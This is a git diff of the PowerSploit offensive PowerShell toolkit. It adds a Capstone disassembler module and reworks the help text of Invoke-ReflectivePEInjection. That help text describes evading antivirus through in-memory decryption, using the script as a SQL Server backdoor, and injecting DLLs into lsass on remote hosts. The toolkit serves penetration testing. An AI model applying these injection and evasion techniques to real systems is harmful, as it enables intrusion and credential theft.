diff options
404 files changed, 41777 insertions, 2819 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e15a72d --- /dev/null +++ b/.gitignore @@ -0,0 +1,214 @@ +################# +## Eclipse +################# + +*.pydevproject +.project +.metadata +bin/ +tmp/ +*.tmp +*.bak +*.swp +*~.nib +local.properties +.classpath +.settings/ +.loadpath + +# External tool builders +.externalToolBuilders/ + +# Locally stored "Eclipse launch configurations" +*.launch + +# CDT-specific +.cproject + +# PDT-specific +.buildpath + + +################# +## Visual Studio +################# + +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +build/ +[Bb]in/ +[Oo]bj/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +############# +## Windows detritus +############# + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store + + +############# +## Python +############# + +*.py[co] + +# Packages +*.egg +*.egg-info +dist/ +build/ +eggs/ +parts/ +var/ +sdist/ +develop-eggs/ +.installed.cfg + +# Installer logs +pip-log.txt + +# Unit test / coverage reports +.coverage +.tox + +#Translations +*.mo + +#Mr Developer +.mr.developer.cfg diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index ab2918b..29949c1 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
@@ -84,4 +84,4 @@ FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1 # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file +}
diff --git a/AntivirusBypass/AntivirusBypass.psm1 b/AntivirusBypass/AntivirusBypass.psm1 index e5234fb..81d3818 100644 --- a/AntivirusBypass/AntivirusBypass.psm1 +++ b/AntivirusBypass/AntivirusBypass.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index 80e2b1f..d2487b3 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -183,4 +183,4 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #During testing using large binaries, memory usage was excessive so lets fix that [System.GC]::Collect() Write-Verbose "Completed!" -}
\ No newline at end of file +} diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 new file mode 100644 index 0000000..d85443f --- /dev/null +++ b/Capstone/Capstone.psd1 @@ -0,0 +1,48 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Capstone.psm1' + +# Version number of this module. +ModuleVersion = '2.0.0.0' + +# ID used to uniquely identify this module +GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b' + +# Author of this module +Author = 'Matthew Graeber' + +# Copyright statement for this module +Copyright = 'see LICENSE.TXT' + +# Description of the functionality provided by this module +Description = 'Capstone Disassembly Framework Binding Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '3.0' + +# Minimum version of the common language runtime (CLR) required by this module +CLRVersion = '4.0' + +# Assemblies that must be loaded prior to importing this module +RequiredAssemblies = 'lib/capstone.dll' + +# Format files (.ps1xml) to be loaded when importing this module +FormatsToProcess = 'Get-CSDisassembly.format.ps1xml' + +# Functions to export from this module +FunctionsToExport = '*' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'}) + +# List of all files packaged with this module +FileList = 'Capstone.psm1', + 'Capstone.psd1', + 'Get-CSDisassembly.format.ps1xml', + 'LICENSE.TXT', + 'README', + 'lib/capstone.dll', + 'lib/x86/libcapstone.dll', + 'lib/x64/libcapstone.dll' +} diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1 new file mode 100644 index 0000000..6f55c1e --- /dev/null +++ b/Capstone/Capstone.psm1 @@ -0,0 +1,173 @@ +#Requires -Modules Capstone + +function Get-CSDisassembly +{ +<# +.SYNOPSIS + + Disassembles a byte array using the Capstone Engine disassembly framework. + + PowerSploit Function: Get-CSDisassembly + Author: Matthew Graeber (@mattifestation) + License: See LICENSE.TXT + Required Dependencies: lib\capstone.dll, lib\[x86|x64]\libcapstone.dll + Optional Dependencies: None + +.DESCRIPTION + + Get-CSDisassembly is compatible on 32 and 64-bit. + +.PARAMETER Architecture + + Specifies the architecture of the code to be disassembled. + +.PARAMETER Mode + + Specifies the mode in which to disassemble code. For example, to disassemble Amd64 code, architecture is set to 'X86' and Mode is set to 'MODE_64'. + +.PARAMETER Code + + A byte array consisting of the code to be disassembled. + +.PARAMETER Offset + + Specifies the starting address of the disassembly listing. + +.PARAMETER Count + + Specifies the maximum number of instructions to disassemble. + +.PARAMETER Syntax + + Specifies the syntax flavor to be used (INTEL vs. ATT). + +.PARAMETER DetailOn + + Specifies that detailed parsing should be performed - i.e. provide detailed information for each disassembled instruction. + +.PARAMETER Verstion + + Prints the running Capstone Framework version. + +.EXAMPLE + + $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode16 -Code $Bytes -Offset 0x1000 + + $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes + + $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes -Syntax ATT + + $Bytes = [Byte[]] @( 0x55, 0x48, 0x8b, 0x05, 0xb8, 0x13, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode64 -Code $Bytes -DetailOn + + $Bytes = [Byte[]] @( 0xED, 0xFF, 0xFF, 0xEB, 0x04, 0xe0, 0x2d, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x83, 0x22, 0xe5, 0xf1, 0x02, 0x03, 0x0e, 0x00, 0x00, 0xa0, 0xe3, 0x02, 0x30, 0xc1, 0xe7, 0x00, 0x00, 0x53, 0xe3 ) + Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes + + $Bytes = [Byte[]] @( 0x4f, 0xf0, 0x00, 0x01, 0xbd, 0xe8, 0x00, 0x88, 0xd1, 0xe8, 0x00, 0xf0 ) + Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes + + $Bytes = [Byte[]] @( 0x10, 0xf1, 0x10, 0xe7, 0x11, 0xf2, 0x31, 0xe7, 0xdc, 0xa1, 0x2e, 0xf3, 0xe8, 0x4e, 0x62, 0xf3 ) + Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes + + $Bytes = [Byte[]] @( 0x70, 0x47, 0xeb, 0x46, 0x83, 0xb0, 0xc9, 0x68 ) + Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes -DetailOn + + $Bytes = [Byte[]] @( 0x21, 0x7c, 0x02, 0x9b, 0x21, 0x7c, 0x00, 0x53, 0x00, 0x40, 0x21, 0x4b, 0xe1, 0x0b, 0x40, 0xb9 ) + Get-CSDisassembly -Architecture Arm64 -Mode Arm -Code $Bytes + + $Bytes = [Byte[]] @( 0x0C, 0x10, 0x00, 0x97, 0x00, 0x00, 0x00, 0x00, 0x24, 0x02, 0x00, 0x0c, 0x8f, 0xa2, 0x00, 0x00, 0x34, 0x21, 0x34, 0x56 ) + Get-CSDisassembly -Architecture Mips -Mode 'Mode32, BigEndian' -Code $Bytes + + $Bytes = [Byte[]] @( 0x56, 0x34, 0x21, 0x34, 0xc2, 0x17, 0x01, 0x00 ) + Get-CSDisassembly -Architecture Mips -Mode 'Mode64, LittleEndian' -Code $Bytes + + $Bytes = [Byte[]] @( 0x80, 0x20, 0x00, 0x00, 0x80, 0x3f, 0x00, 0x00, 0x10, 0x43, 0x23, 0x0e, 0xd0, 0x44, 0x00, 0x80, 0x4c, 0x43, 0x22, 0x02, 0x2d, 0x03, 0x00, 0x80, 0x7c, 0x43, 0x20, 0x14, 0x7c, 0x43, 0x20, 0x93, 0x4f, 0x20, 0x00, 0x21, 0x4c, 0xc8, 0x00, 0x21 ) + Get-CSDisassembly -Architecture PPC -Mode BigEndian -Code $Bytes + +.INPUTS + + None + + You cannot pipe objects to Get-CSDisassembly. + +.OUTPUTS + + Capstone.Instruction[] + + Get-CSDisassembly returns an array of Instruction objects. +#> + + [OutputType([Capstone.Instruction])] + [CmdletBinding(DefaultParameterSetName = 'Disassemble')] + Param ( + [Parameter(Mandatory, ParameterSetName = 'Disassemble')] + [Capstone.Architecture] + $Architecture, + + [Parameter(Mandatory, ParameterSetName = 'Disassemble')] + [Capstone.Mode] + $Mode, + + [Parameter(Mandatory, ParameterSetName = 'Disassemble')] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Code, + + [Parameter( ParameterSetName = 'Disassemble' )] + [UInt64] + $Offset = 0, + + [Parameter( ParameterSetName = 'Disassemble' )] + [UInt32] + $Count = 0, + + [Parameter( ParameterSetName = 'Disassemble' )] + [ValidateSet('Intel', 'ATT')] + [String] + $Syntax, + + [Parameter( ParameterSetName = 'Disassemble' )] + [Switch] + $DetailOn, + + [Parameter( ParameterSetName = 'Version' )] + [Switch] + $Version + ) + + if ($PsCmdlet.ParameterSetName -eq 'Version') + { + $Disassembly = New-Object Capstone.Capstone([Capstone.Architecture]::X86, [Capstone.Mode]::Mode16) + $Disassembly.Version + + return + } + + $Disassembly = New-Object Capstone.Capstone($Architecture, $Mode) + + if ($Disassembly.Version -ne [Capstone.Capstone]::BindingVersion) + { + Write-Error "capstone.dll version ($([Capstone.Capstone]::BindingVersion.ToString())) should be the same as libcapstone.dll version. Otherwise, undefined behavior is likely." + } + + if ($Syntax) + { + switch ($Syntax) + { + 'Intel' { $SyntaxMode = [Capstone.OptionValue]::SyntaxIntel } + 'ATT' { $SyntaxMode = [Capstone.OptionValue]::SyntaxATT } + } + + $Disassembly.SetSyntax($SyntaxMode) + } + + if ($DetailOn) + { + $Disassembly.SetDetail($True) + } + + $Disassembly.Disassemble($Code, $Offset, $Count) +}
\ No newline at end of file diff --git a/Capstone/Get-CSDisassembly.format.ps1xml b/Capstone/Get-CSDisassembly.format.ps1xml new file mode 100644 index 0000000..e9703a2 --- /dev/null +++ b/Capstone/Get-CSDisassembly.format.ps1xml @@ -0,0 +1,41 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>InstructionView</Name> + <ViewSelectedBy> + <TypeName>Capstone.Instruction</TypeName> + </ViewSelectedBy> + <TableControl> + <AutoSize/> + <TableHeaders> + <TableColumnHeader> + <Label>Address</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Mnemonic</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Operands</Label> + </TableColumnHeader> + </TableHeaders> + <TableRowEntries> + <TableRowEntry> + <TableColumnItems> + <TableColumnItem> + <PropertyName>Address</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Mnemonic</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Operands</PropertyName> + </TableColumnItem> + </TableColumnItems> + </TableRowEntry> + </TableRowEntries> + </TableControl> + </View> + </ViewDefinitions> +</Configuration>
\ No newline at end of file diff --git a/Capstone/LICENSE.TXT b/Capstone/LICENSE.TXT new file mode 100644 index 0000000..9edde0b --- /dev/null +++ b/Capstone/LICENSE.TXT @@ -0,0 +1,30 @@ +This is the software license for Capstone disassembly framework. +Capstone has been designed & implemented by Nguyen Anh Quynh <aquynh@gmail.com> +See http://www.capstone-engine.org for further information. + +Copyright (c) 2013, COSEINC. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/Capstone/README b/Capstone/README new file mode 100644 index 0000000..cbab0cb --- /dev/null +++ b/Capstone/README @@ -0,0 +1,17 @@ +This module has three dependencies: +* lib\x86\libcapstone.dll (the 32-bit unmanaged Capstone library) +* lib\x64\libcapstone.dll (the 64-bit unmanaged Capstone library) +* lib\capstone.dll (the managed C# bindings to the Capstone Framework) + +To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Capstone` + +To see the commands imported, type `Get-Command -Module Capstone` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
\ No newline at end of file diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll Binary files differnew file mode 100644 index 0000000..809932b --- /dev/null +++ b/Capstone/lib/capstone.dll diff --git a/Capstone/lib/place_capstone.dll_here b/Capstone/lib/place_capstone.dll_here new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/Capstone/lib/place_capstone.dll_here diff --git a/Capstone/lib/x64/libcapstone.dll b/Capstone/lib/x64/libcapstone.dll Binary files differnew file mode 100644 index 0000000..8d0a578 --- /dev/null +++ b/Capstone/lib/x64/libcapstone.dll diff --git a/Capstone/lib/x64/place_64-bit_libcapstone.dll_here b/Capstone/lib/x64/place_64-bit_libcapstone.dll_here new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/Capstone/lib/x64/place_64-bit_libcapstone.dll_here diff --git a/Capstone/lib/x86/libcapstone.dll b/Capstone/lib/x86/libcapstone.dll Binary files differnew file mode 100644 index 0000000..bb919a6 --- /dev/null +++ b/Capstone/lib/x86/libcapstone.dll diff --git a/Capstone/lib/x86/place_32-bit_libcapstone.dll_here b/Capstone/lib/x86/place_32-bit_libcapstone.dll_here new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/Capstone/lib/x86/place_32-bit_libcapstone.dll_here diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 394c7de..07963fc 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'CodeExecution.psm1' @@ -85,4 +85,4 @@ FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', ' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -}
\ No newline at end of file +} diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index e5234fb..81d3818 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 572a911..8395ab8 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -325,4 +325,4 @@ http://www.exploit-monday.com }
Write-Verbose "Injected DLL information:$($DllInfo)"
-}
\ No newline at end of file +}
diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index b582847..599212b 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -1,21 +1,11 @@ -function Invoke-ReflectivePEInjection +function Invoke-ReflectivePEInjection { <# .SYNOPSIS -Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. - -PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, -please lead the Notes section (GENERAL NOTS) for information on how to use them. +please lead the Notes section (GENERAL NOTES) for information on how to use them. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. @@ -35,7 +25,19 @@ remote process. While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will -bypass A/V. Another advantage is you won't be making web requests. +bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba +blog linked below (thanks to whitey). + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. .PARAMETER PEPath @@ -55,6 +57,10 @@ Optional, the return type of the function being called in the DLL. Default: Void Options: String, WString, Void. See notes for more information. IMPORTANT: For DLLs being loaded remotely, only Void is supported. +.PARAMETER ExeArgs + +Optional, arguments to pass to the executable being reflectively loaded. + .PARAMETER ProcName Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. @@ -62,70 +68,46 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti .PARAMETER ProcId Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. - -.PARAMETER ExeArgs - -Optional, command-line arguments to pass to the exe. - + .EXAMPLE -Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString - -Description ------------ Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). Note that the file name on the website can be any file extension. +Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local - -Description ------------ Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) - -Description ------------ Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print -the wchar_t* returned by WStringFunc() from all the computers. + the wchar_t* returned by WStringFunc() from all the computers. +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" - -Description ------------ Load DemoEXE and run it locally. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local - -Description ------------ Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local .NOTES - GENERAL NOTES: - The script has 3 basic sets of functionality: - 1.) Reflectively load a DLL in to the PowerShell process -Can return DLL output to user when run remotely or locally. -Cleans up memory in the PS process once the DLL finishes executing. -Great for running pentest tools on remote computers without triggering process monitoring alerts. -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. - 2.) Reflectively load an EXE in to the PowerShell process. -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. -Cleans up memory in the PS process once the DLL finishes executing. -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. - 3.) Reflectively inject a DLL in to a remote process. -Can NOT return DLL output to the user when run remotely OR locally. -Does NOT clean up memory in the remote process if/when DLL finishes execution. @@ -133,6 +115,7 @@ The script has 3 basic sets of functionality: -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + DLL LOADING NOTES: PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. @@ -170,2683 +153,2691 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl .LINK -http://clymb3r.wordpress.com/ - -Master Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ - Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ #> - [CmdletBinding(DefaultParameterSetName="WebFile")] - Param( - [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] - [String] - $PEPath, +[CmdletBinding(DefaultParameterSetName="WebFile")] +Param( + [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] + [String] + $PEPath, - [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] - [Uri] - $PEUrl, + [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] + [Uri] + $PEUrl, - [Parameter(Position = 1)] - [String[]] - $ComputerName, + [Parameter(Position = 1)] + [String[]] + $ComputerName, - [Parameter(Position = 2)] - [ValidateSet( 'WString', 'String', 'Void' )] - [String] - $FuncReturnType = 'Void', + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', - [Parameter(Position = 3)] - [String] - $ExeArgs, + [Parameter(Position = 3)] + [String] + $ExeArgs, - [Parameter(Position = 4)] - [Int32] - $ProcId, + [Parameter(Position = 4)] + [Int32] + $ProcId, - [Parameter(Position = 5)] - [String] - $ProcName - ) + [Parameter(Position = 5)] + [String] + $ProcName +) - Set-StrictMode -Version 2 +Set-StrictMode -Version 2 - $RemoteScriptBlock = { - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, - [Parameter(Position = 1, Mandatory = $false)] - [String] - $FuncReturnType, + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, - [Parameter(Position = 2, Mandatory = $false)] - [Int32] - $ProcId, - - [Parameter(Position = 3, Mandatory = $false)] - [String] - $ProcName - ) + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) - ################################### - ########## Win32 Stuff ########## - ################################### - Function Get-Win32Types - { - $Win32Types = New-Object System.Object - - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - - ############ ENUM ############ - #Enum MachineType - $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null - $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null - $MachineType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType - - #Enum MagicType - $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null - $MagicType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType - - #Enum SubSystemType - $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null - 